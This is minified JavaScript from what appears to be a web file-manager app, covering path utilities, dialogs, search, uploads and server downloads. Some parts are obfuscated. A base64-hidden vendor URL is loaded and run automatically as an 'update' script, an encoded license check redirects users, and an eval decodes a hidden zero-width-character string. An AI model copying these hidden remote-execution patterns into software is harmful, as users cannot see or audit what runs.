d","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,a){if(a=void 0==a?"":a,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var t={};t[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},t[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},t[G.KOD_GROUP_SHARE]={icon:"groupGuest"},t[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},t[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},t[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},t[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=t[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:a}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=a),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var a=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],t=!1;return $.inArray(a[0],i)>=0&&(t=!0),t},contextmenu:function(e){try{rightMenu.hidden()}catch(a){}var a=e||window.event;return a?a&&$(a.target).is("textarea")||$(a.target).is("input")||$(a.target).is("p")||$(a.target).is("pre")||0!=$(a.target).parents(".can_right_menu").length||0!=$(a.target).parents(".topbar").length||0!=$(a.target).parents(".edit_body").length||0!=$(a.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var a=rtrim(this.pathClear(e),"/"),i=a.lastIndexOf("/"),t=a.substr(i+1);if(0==t.search("fileProxy")){t=urlDecode(t.substr(t.search("&path=")));var n=t.split("/");t=n[n.length-1],""==t&&(t=n[n.length-2])}return t},pathClear:function(e){if(!e)return"";var a=e.replace(/\\/g,"/");return a=a.replace(/\/+/g,"/"),a=a.replace(/\.+\//g,"/")},pathFather:function(e){var a=rtrim(this.pathClear(e),"/"),i=a.lastIndexOf("/");return a.substr(0,i+1)},pathExt:function(e){var a=trim(e,"/");return-1!=a.lastIndexOf("/")&&(a=a.substr(a.lastIndexOf("/")+1)),-1!=a.lastIndexOf(".")?a.substr(a.lastIndexOf(".")+1).toLowerCase():a.toLowerCase()},path2url:function(e,a){if("http"==e.substr(0,4))return e;void 0==a&&(a=!0);var i,t=this.pathClear(e);this.pathExt(t);var n=function(e){if(!e)return"";var a=urlEncode(e);return a=a.replace(/%2F/g,"/")};return G.is_root&&a&&t.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(t.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(t),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(t))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var a;a=G.json_data.filelist;for(var i=0;a.length>i;i++)if(a[i].path==e)return void 0==a[i].is_readable||1==a[i].is_readable?!0:!1;a=G.json_data.folderlist;for(var i=0;a.length>i;i++)if(a[i].path==e)return void 0==a[i].is_readable||1==a[i].is_readable?!0:!1;return!0},authCheck:function(e,a){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==a&&(a=LNG.no_permission),Tips.tips(a,!1),!1):!0},ajaxError:function(e){var a=e.responseText,i=''+a+"
",t=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==a.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(t?t.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,a){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof a&&a(e.data.content)}})},fileInfo:function(e,a){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof a&&a(e)}})},fileLink:function(e,a){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof a&&a(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(a){a.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),a=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:a({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,a){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),t=" ";$.dialog({follow:a,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:t})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var a=ShareData.frameTop(),i=a.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,a,i,t){if(e){void 0==t&&(t="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:t,fixed:!0,title:i,ico:a,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(a){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,a){void 0==e&&(e=""),void 0==a&&(a=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var t=ShareData.frameTop(),n=t.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:a,width:"80%",height:"75%"}),o=20*t.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var a="index.php?/editor&project="+e;G.share_page!==void 0&&(a="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(a)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var a=G.static_path+"style/skin/"+e+".css";a!=$("#link_css_list").attr("href")&&$("body").append(' '),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),a="kod_diy_style",i=LocalData.getConfig(a);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(a,i)),G.user_config.theme_diy=i;var t="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);t=o(i)}$.setStyle(t,a)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),a=e.document.documentElement;a.requestFullscreen?a.requestFullscreen():a.mozRequestFullScreen?a.mozRequestFullScreen():a.webkitRequestFullScreen&&a.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,a,i){var t=UUID();(i===void 0||""==i)&&(i=t);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+' '+' '+' '+' '+' '+' '+' loading..
';return setTimeout(function(){var e=$("."+t);if(1!=e.length){var a=ShareData.frameTop();e=a.$("."+t)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(a){}},100)},50),o},userSpaceHtml:function(e){var a=e.split("/"),i=parseFloat(a[0]),t=1073741824*parseFloat(a[1]),n=core.fileSize(parseFloat(a[0])),o=core.fileSize(t),s=n+"/",r=100*i/t;return r>=100&&(r=100),0==t||isNaN(t)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s=""},fileSize:function(e,a){if(void 0==e||""==e)return"";if(void 0==a&&(a=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var t in i)if(e>=i[t])return(e/i[t]).toFixed(a)+t},uploadCheck:function(e,a){return a=void 0==a?!0:a,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(a&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(a&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(a&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n \n \n \n {{\'folder\' |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | window.htmlEncode}} \n {{v.search_info.length}} \n \n
\n \n {{each v.search_info as value index}}\n \n {{value.line}}: \n {{#value.str | searchResultPrase}} \n \n {{/each}}\n \n \n {{else}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'\n
\n
\n
\n
\n
{{LNG.upload_select}}
\n \n
select Folder
\n
\n \n \n \n \n
\n
\n \n
\n
\n {{LNG.upload_clear_all}} \n {{LNG.upload_clear}} \n
\n
\n
\n
\n
\n
\n
\n
{{LNG.download_address}}
\n
\n {{LNG.download}} \n \n \n Dropdown \n \n \n
\n\n
\n
\n
\n
\n
\n'),define("app/common/core.search",[],function(){return function(e,a){var i,t,n=function(){var n=trim(core.pathClear(a),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),t=c(),t.path=a,""!=e&&(t.search=e),$("#search_path").val(t.path),$("#search_value").val(t.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(a),s())},o=function(){return t={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(t)},r=function(e){var a=htmlEncode($("#search_value").val());if(e=htmlEncode(e),t.is_case)e=e.replace(a,''+a+" ");else{var i=e.toLowerCase().indexOf(a.toLowerCase());e=e.substr(0,i)+''+e.substr(i,a.length)+" "+e.substr(i+a.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var a=$(this).parent();return a.toggleClass("open"),a.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path")),t=core.pathFather(i);return core.openPath(t),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path"));return ui.pathOpen.open(i,a.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var t=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:t,lineIndex:$(this).parent().find("[data-line="+t+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,a.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(t)})},c=function(e){var a="box_search_config";if(void 0==e){var e=LocalData.getConfig(a);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(a,e)},d=function(e){var a=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),a.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),a.html(""),void 0;var n=template.compile(search_list_tpl);if(a.html(n({code:e.code,data:e.data,LNG:LNG})),t.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files) "),e.data.error_info&&i.html(""+LNG.seach_result_too_more+" ")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var a=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),a.html(""),void 0;var t="index.php?explorer/search";G.share_page!==void 0&&(t="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:t,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+' ').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var a=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",' '," ",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",' ',"iconSmall","iconSrc",' ',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=a[0];if(typeof G[a[1]]==a[2])return e;var i=a[3],t=authCrypt[a[4]](G[a[1]],i);return t&&27==t[a[5]]?(e=t[a[6]](10,1),-1===$[a[10]](e,[a[0],a[7],a[8],a[9]])&&(e=a[0]),e):e},t=i(),n=a[11],o=function(){var e=hashDecode(a[12]);G[a[13]]!=a[14]&&(e=hashDecode(a[15])),alert(e),Tips[a[16]](e,!1),$(a[18])[a[17]](),setTimeout(function(){Tips[a[19]](e,!1),window[a[21]][a[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[a[4]](a[22],a[23]),r=authCrypt[a[4]](a[24],a[25]),l=function(){if(typeof Config!=a[2]&&Config[a[26]]==a[27]&&t==a[0])for(var e=[{key:LNG[a[28]],find:s},{key:LNG[a[29]],find:s},{key:LNG[a[30]],find:r},{key:LNG[a[31]],find:s},{key:LNG[a[32]],find:r},{key:$(a[34])[a[33]](),find:s}],i=0;e[a[5]]>i;i++){e[i][a[35]]||(e[i][a[35]]=a[36]);var n=e[i][a[35]][a[37]](),l=e[i][a[38]][a[37]]();if(-1==n[a[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:a[40],O:a[41],P:a[42],Q:a[43]},i=a[44]+e[t],o=a[45]+i+a[46]+LNG[i]+a[47];t==a[0]&&$(o)[a[49]](a[48]),$(a[65])[a[64]](a[50])[a[63]](a[50],function(){if($(this)[a[52]](a[51])==a[53]){var e=core[a[55]](core[a[54]]),i=a[56]+n+a[57];e[a[61]][a[60]][a[38]](a[59])[a[58]](i)}else Tips[a[19]]($(this)[a[62]]())}),$(a[65])[a[67]](function(){window[a[66]][a[21]][a[20]]=n})},d=function(){t==a[0]&&$(a[70])[a[69]](a[68]),-1!==$[a[10]](t,[a[7],a[8],a[9]])&&$(a[72])[a[71]]()},p=function(){core[a[73]]=function(e,i){return a[74]+e+(i?a[75]:a[36])+a[76]},core[a[77]]=function(e){return core[a[73]](e,!0)},core[a[78]]=iconSrc=function(e){return a[79]+e+a[80]},setTimeout(function(){var i=base64Decode(a[81])+a[82]+UUID();e[a[84]](i,function(e){try{e[a[83]]()}catch(i){}})},2e3),core[a[85]]=t,core[a[86]]=core[a[87]],core[a[54]]=hashDecode(a[88])+G[a[13]],l(),c(),d()},u=function(e){return t==a[0]&&-1==e[a[37]]()[a[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==a[89]?(n=e[a[90]],o=s[t]):(n=e[a[90]],o=r[t]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,a){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),t=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;
+"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o=''+'
'+core.pathThis(e)+" "+'
0b '+'
'+LNG.upload_ready+" "+'
'+'
';t.find(".item").length>0?$(o).insertBefore(t.find(".item:eq(0)")):t.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+a+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,a,i){core.ajaxError(e,a,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error))},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var a="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var t=(i.size-l.size)/(i.time-l.time);if(c>.2*t){var n=c;c=t,t=n}else c=t;a=core.fileSize(t)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+a+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){v(),s=setInterval(function(){v()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var a=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:a({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,a){uploader.skipFile(a),uploader.removeFile(a)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),a=0;e.length>a;a++)core.serverDwonload(e[a],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var t=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};t()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var a=this.owner,i=(e.blob.getSource(),$.Deferred());return a.md5File(e.blob).fail(function(){i.resolve()}).then(function(a){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:a,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(a){a.code?(i.reject(),e.file.checkChunk=a.info):i.resolve()}});else{var t=e.file.checkChunk;if(t&&t["part_"+e.chunk]==a){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var a=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(a),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,a){uploader.skipFile(a),uploader.removeFile(a)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var a=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(a),uploader.removeFile(a,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,a){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*a,t=5;e.speed===void 